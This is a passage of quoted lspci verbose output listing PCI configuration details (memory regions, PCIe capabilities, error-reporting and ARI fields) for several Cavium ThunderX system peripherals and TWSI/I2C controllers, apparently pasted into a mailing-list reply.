> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e142000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 163
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.3 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e143000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 164
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.4 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e144000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 192
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.0 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e100000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e100f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 193
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.1 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e101000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e101f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 194
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.2 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e102000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e102f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 196
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.4 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e104000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e104f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 197
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.5 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e105000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e105f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 198
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.6 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e106000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e106f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 199
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.7 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e107000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e107f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 200
